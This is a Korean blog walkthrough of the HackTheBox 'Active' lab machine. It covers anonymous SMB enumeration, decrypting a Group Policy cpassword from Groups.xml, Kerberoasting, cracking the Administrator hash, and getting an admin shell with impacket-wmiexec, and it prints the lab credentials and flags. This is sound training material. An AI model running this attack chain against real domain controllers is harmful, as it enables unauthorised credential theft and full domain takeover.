상세 컨텐츠

본문 제목

[HackTheBox] Active

Penetration/HackTheBox

by obscurity_ 2024. 10. 29. 22:30

본문

 

53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5722/tcp  open  msdfsr
9389/tcp  open  adws
47001/tcp open  winrm
 

서버에 열려있는 포트 목록을 보면 컨트롤러라는 생각이 듭니다.

열린 포트에 대해서 자세한 스캔을 해줍니다.

53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  tcpwrapped
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  tcpwrapped
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5722/tcp  open  msrpc         Microsoft Windows RPC
9389/tcp  open  mc-nmf        .NET Message Framing
 

많은 정보를 얻은 건 아니지만 도메인 정보를 수집할 수 있었습니다.

이렇게 획득한 도메인 정보와 컨트롤러라는 정보를 통해서

DNS 서버와 hosts 파일에 도메인을 추가해줍니다.

 

 

 

┌──(root㉿kali)-[~/Pentest/Machine]
└─# nxc smb 10.10.10.100 -u '' -p '' --shares
SMB         10.10.10.100    445    DC               [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB         10.10.10.100    445    DC               [+] active.htb\: 
SMB         10.10.10.100    445    DC               [*] Enumerated shares
SMB         10.10.10.100    445    DC               Share           Permissions     Remark
SMB         10.10.10.100    445    DC               -----           -----------     ------
SMB         10.10.10.100    445    DC               ADMIN$                          Remote Admin
SMB         10.10.10.100    445    DC               C$                              Default share
SMB         10.10.10.100    445    DC               IPC$                            Remote IPC
SMB         10.10.10.100    445    DC               NETLOGON                        Logon server share 
SMB         10.10.10.100    445    DC               Replication     READ            
SMB         10.10.10.100    445    DC               SYSVOL                          Logon server share 
SMB         10.10.10.100    445    DC               Users   
 

서버의 SMB는 익명 로그인이 가능했고

Replication이라는 쉐어에 대해 읽기 권한이 있었습니다.

근데 이 쉐어에 대해서 마운트를 할 수 있는 권한은 존재하지 않았어서

마운트를 할 수 는 없었습니다.

마운트를 하지 않고 여러 디렉토리를 편하게 보는 방법은

smbmap의 재귀적 디렉토리 열거입니다.

 

smbmap -H 10.10.10.100 -r Replication --depth 20   
 

뎁스를 20으로 줘서 최대 20개 하위의 경로까지 열거가 가능합니다.

디렉토리를 열거하면 마땅한 정보는 별로 보이지 않는데

Groups.xml이라는 파일이 존재합니다.

포트스캔 디테일 정보를 보면 Windows 환경이 굉장히 오래된 2008 서버라는 것을 알 수 있는데 예전 14년도 이전의 Windows 환경의 경우

CPassword 정보가 AES로 암호화가 되었으며

암호화에 사용된 키는 MS에서 공개적으로 공개를 했습니다.

그 덕분에 gpp-decrypt 라는 도구를 사용해서

사실상 인코딩과 다를바없는 암호화를 구사했기에

우리는 이곳에 하드코딩 되어있을 암호화된 패스워드를 복화하가 가능합니다.

 

이 취약점은 MS14-025 를 이용한 공격입니다.

 

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>
 

Groups.xml파일을 로컬로 가져온 뒤에 읽어보면

cpassword정보가 하드코딩 되어있고

gpp-decrypt 도구를 사용해서 이를 복호화해줍니다.

 

┌──(root㉿kali)-[~/Pentest/Machine]
└─# gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ'                
GPPstillStandingStrong2k18
 

복호화된 패스워드는 GPPstillStandingStrong2k18 입니다.

유저 이름은 svc_tgs였으므로 획득한 계정 정보는

svc_tgs : GPPstillStandingStrong2k18

 

┌──(root㉿kali)-[~/Pentest/Machine]
└─# nxc smb 10.10.10.100 -u svc_tgs -p GPPstillStandingStrong2k18 --shares
SMB         10.10.10.100    445    DC               [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB         10.10.10.100    445    DC               [+] active.htb\svc_tgs:GPPstillStandingStrong2k18 
SMB         10.10.10.100    445    DC               [*] Enumerated shares
SMB         10.10.10.100    445    DC               Share           Permissions     Remark
SMB         10.10.10.100    445    DC               -----           -----------     ------
SMB         10.10.10.100    445    DC               ADMIN$                          Remote Admin
SMB         10.10.10.100    445    DC               C$                              Default share
SMB         10.10.10.100    445    DC               IPC$                            Remote IPC
SMB         10.10.10.100    445    DC               NETLOGON        READ            Logon server share 
SMB         10.10.10.100    445    DC               Replication     READ            
SMB         10.10.10.100    445    DC               SYSVOL          READ            Logon server share 
SMB         10.10.10.100    445    DC               Users           READ         
 

이 정보로 smb에 접속을 해보니 이번엔 Users라는 쉐어에 대해서

읽기 권한이 존재했습니다.

 

이번에는 계정정보가 존재했기 때문에 마운트를 해서 확인하겠습니다.

┌──(root㉿kali)-[~/Pentest/Machine]
└─# mount -t cifs //10.10.10.100/Users /mnt/smbshare -o username=SVC_TGS                  
Password for SVC_TGS@//10.10.10.100/Users: 
 

그러나 경로를 확인해보면 막상 얻을 수 있는 정보는 유저 플래그 외에는

별로 없어보입니다.

┌──(root㉿kali)-[/mnt/smbshare]
└─# find . -type f  2>/dev/null
./Default/AppData/Roaming/Microsoft/Internet Explorer/Quick Launch/desktop.ini
./Default/AppData/Roaming/Microsoft/Internet Explorer/Quick Launch/Server Manager.lnk
./Default/AppData/Roaming/Microsoft/Internet Explorer/Quick Launch/Shows Desktop.lnk
./Default/AppData/Roaming/Microsoft/Internet Explorer/Quick Launch/Window Switcher.lnk
./Default/AppData/Roaming/Microsoft/Windows/SendTo/Compressed (zipped) Folder.ZFSendToTarget
./Default/AppData/Roaming/Microsoft/Windows/SendTo/Desktop (create shortcut).DeskLink
./Default/AppData/Roaming/Microsoft/Windows/SendTo/Desktop.ini
./Default/AppData/Roaming/Microsoft/Windows/SendTo/Mail Recipient.MAPIMail
./Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/Accessibility/Desktop.ini
./Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/Accessibility/Ease of Access.lnk
./Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/Accessibility/Magnify.lnk
./Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/Accessibility/Narrator.lnk
./Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/Accessibility/On-Screen Keyboard.lnk
./Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/Command Prompt.lnk
./Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/Desktop.ini
./Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/Notepad.lnk
./Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/Run.lnk
./Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/System Tools/computer.lnk
./Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/System Tools/Control Panel.lnk
./Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/System Tools/Desktop.ini
./Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/Windows Explorer.lnk
./Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Maintenance/Desktop.ini
./Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Maintenance/Help.lnk
./Default/NTUSER.DAT
./Default/NTUSER.DAT.LOG
./Default/NTUSER.DAT.LOG1
./Default/NTUSER.DAT.LOG2
./Default/NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf
./Default/NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms
./Default/NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms
./desktop.ini
./SVC_TGS/Desktop/user.txt
                                    
 

 

유저 플래그 획득

┌──(root㉿kali)-[/mnt/smbshare]
└─# cat SVC_TGS/Desktop/user.txt 
40689e9b5903f16f58e0ff12c09477f4
 

 

 

이제 이 정보를 토대로 AD 내의 취약점이 존재하는지

블러드하운드를 통해서 알아보겠습니다.

 

bloodhound-python -u svc_tgs -p GPPstillStandingStrong2k18 -c All --zip -ns 10.10.10.100 -d active.htb
 
.

 

하지만 블러드하운드에서 AD에 대한 정보를 확인해보니

SVC_TGS에 대해서 아웃바운드 오브젝트는 존재하지 않았습니다.

따라서 다른 정보를 통해서 권한상승을 이뤄야 하는데

일단 계정정보를 확보했으니 커버로스팅 공격이 가능한지 테스트 해봅니다.

 

crackmapexec ldap 10.10.10.100 -u svc_tgs -p GPPstillStandingStrong2k18 --kerberoasting res.txt
 

crackmapexec를 통해서 커버로스팅 공격을 해봤는데 오류가 발생합니다.

이럴 경우에는 해당 도메인 컨트롤러와 시간이 안 맞기 때문에

발생하는 오류여서 시간을 컨트롤러에 맞춰줍니다.

┌──(root㉿kali)-[~/Pentest/Machine]
└─# timedatectl set-ntp off
                                                                                                                                                                                                                                                                                                                          
┌──(root㉿kali)-[~/Pentest/Machine]
└─# ntpdate 10.10.10.100
ntpdig: no eligible servers
 

 

그러면 이렇게 해쉬화된 정보들이 덤핑됩니다.

현재 Administrator 계정으로 활성화된 서비스가 존재해서

이 계정의 패스워드가 취약하다면 해쉬크래킹이 될 것 같네요

출력된 res.txt 파일을 존더리퍼로 해쉬크래킹 해줍니다.

 

┌──(root㉿kali)-[~/Pentest/Machine]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt res.txt                                       
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Ticketmaster1968 (?)     
1g 0:00:00:05 DONE (2024-10-29 22:13) 0.1834g/s 1933Kp/s 1933Kc/s 1933KC/s TinyMutt69..Thehunter22
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
 

 

Administrator 계정의 패스워드 크래킹이 성공했습니다.

winrm은 서버에서 활성화 되어있지 않으니

impacket의 wmiexec를 사용해서 로그인이 되는지 테스트 해보겠습니다.

┌──(root㉿kali)-[~/Pentest/Machine]
└─# impacket-wmiexec 'active.htb/Administrator@10.10.10.100'                 
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

Password:
[*] SMBv2.1 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
active\administrator
 

어드민 계정으로 로그인에 성공합니다.

이제 루트 플래그를 확인해줍니다.

┌──(root㉿kali)-[~/Pentest/Machine]
└─# impacket-wmiexec 'active.htb/Administrator@10.10.10.100'
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

Password:
[*] SMBv2.1 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>more C:\Users\Administrator\Desktop\root.txt
cfe726b07e5184ff73c6fb55cad6ab6f

 

 

 

'Penetration > HackTheBox' 카테고리의 다른 글

[HackTheBox] Blackfield  (1) 2024.10.30
[HackTheBox] Search  (1) 2024.10.30
[HackTheBox] Sauna  (1) 2024.10.29
[HackTheBox] Return  (2) 2024.10.17
[HackTheBox] Sightless  (0) 2024.10.16

관련글 더보기